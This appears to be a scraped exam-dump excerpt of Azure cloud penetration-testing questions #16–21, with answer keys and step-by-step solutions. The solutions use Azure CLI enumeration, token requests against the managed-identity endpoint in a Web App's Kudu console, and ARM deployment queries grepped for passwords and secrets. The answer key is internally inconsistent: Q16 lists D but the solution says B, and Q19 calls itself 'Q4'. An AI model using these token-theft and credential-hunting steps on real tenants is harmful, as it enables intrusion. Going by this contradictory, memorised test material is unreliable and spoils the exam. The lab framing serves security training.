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| Section | Objectives |
|---|---|
| Topic 1: Azure Cloud Attack Surface Enumeration | - Azure resource discovery and recon - Identity and access enumeration (Azure AD / Entra ID) |
| Topic 2: Azure Storage & Data Exposure | - Blob storage misconfiguration exploitation - Sensitive data extraction from storage services |
| Topic 3: Azure Identity & Authentication Exploitation | - Privilege escalation via misconfigured roles - Token / credential abuse scenarios |
| Topic 4: Compute & Network Exploitation in Azure | - VM exploitation and lateral movement - Network misconfiguration exploitation (NSG / routing) |
| Topic 5: Real-world Azure Attack Chains (CTF Scenario) | - Multi-step exploitation chain from initial access to privilege escalation - Flag/goal-based task completion in live environment |
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問題 #16
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
答案：D
解題說明：
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
問題 #17
A storage account allows public blob access. Enumerate containers and identify the public container that exposes backup files.
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
public-backups
Detailed Solution:
Try listing containers using Azure CLI:
az storage container list \
--account-name prodreportstore01 \
--auth-mode login \
--output table
If anonymous access is allowed, test via blob endpoint:
az storage blob list \
--account-name prodreportstore01 \
--container-name public-backups \
--auth-mode key \
--output table
In a lab, you can also test the public URL pattern:
https://prodreportstore01.blob.core.windows.net/public-backups/
Expected exposed container:
public-backups
Final answer:
public-backups
問題 #18
Using the managed identity principal ID discovered in the previous task, identify which Azure RBAC role is assigned to it.
答案：B
解題說明：
Detailed Solution:
Query role assignments for the managed identity principal:
az role assignment list \
--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \
--all \
--output table
Expected output:
Principal Role Scope
------------------------------------ ---------------------- ---------------------------------------------- b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod- apps-eastus The assigned role is:
Key Vault Secrets User
Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.
問題 #19
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
問題 #20
A compromised developer account has Reader access to a resource group. Enumerate all Azure resources in that resource group and identify the exposed App Service name.
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
finance-reporting-api
Detailed Solution:
Set the resource group:
RG= " rg-prod-apps-eastus "
List resources:
az resource list \
--resource-group " $RG " \
--output table
Expected output:
Name ResourceGroup Location Type
---------------------- --------------------- ---------- ------------------------------- finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults The exposed App Service is:
finance-reporting-api
問題 #21
......
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